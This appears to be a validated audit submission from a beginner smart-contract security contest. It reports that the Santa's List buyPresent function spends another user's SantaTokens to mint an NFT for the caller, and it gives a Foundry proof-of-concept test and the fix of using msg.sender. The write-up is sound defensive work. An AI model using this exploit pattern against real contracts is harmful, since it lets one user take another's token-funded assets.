First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Anyone can trade someone else's SantaToken for NFT to himself

0xbrivan2

Summary

Anyone can trade someone else's SantaToken for NFT to himself

Vulnerability Details

The function buyPresent(address presentReceiver) allows someone holding SantaToken to trade it with NFT. The function implementation is wrong, it trades the SantaTokens of presentReceiver passed as an argument for an NFT to msg.sender without checking that presentReceiver is the caller of the function.

Impact

This vulnerability allows anyone to trade someone else's SantaToken for NFT to himself.

PoC

// audit-info PoC of a malicious actor can trade someone else's token for NFT to himself
function testAnActorCanTradeSomeoneTokenForNFTToHimSelf() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.prank(user);
santasList.collectPresent();
​
address actor = makeAddr("0xbrivan");
vm.prank(actor);
// audit-danger the 'actor' calls the `buyPresent` passing `user` as argument, which allows him to trade user's tokens for NFT to himself
santasList.buyPresent(user);
​
assertEq(1, santasList.balanceOf(actor));
}

Tools Used

Manual Analysis

Recommendations

Consider removing the argument presentReceiver, and rely on msg.sender

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.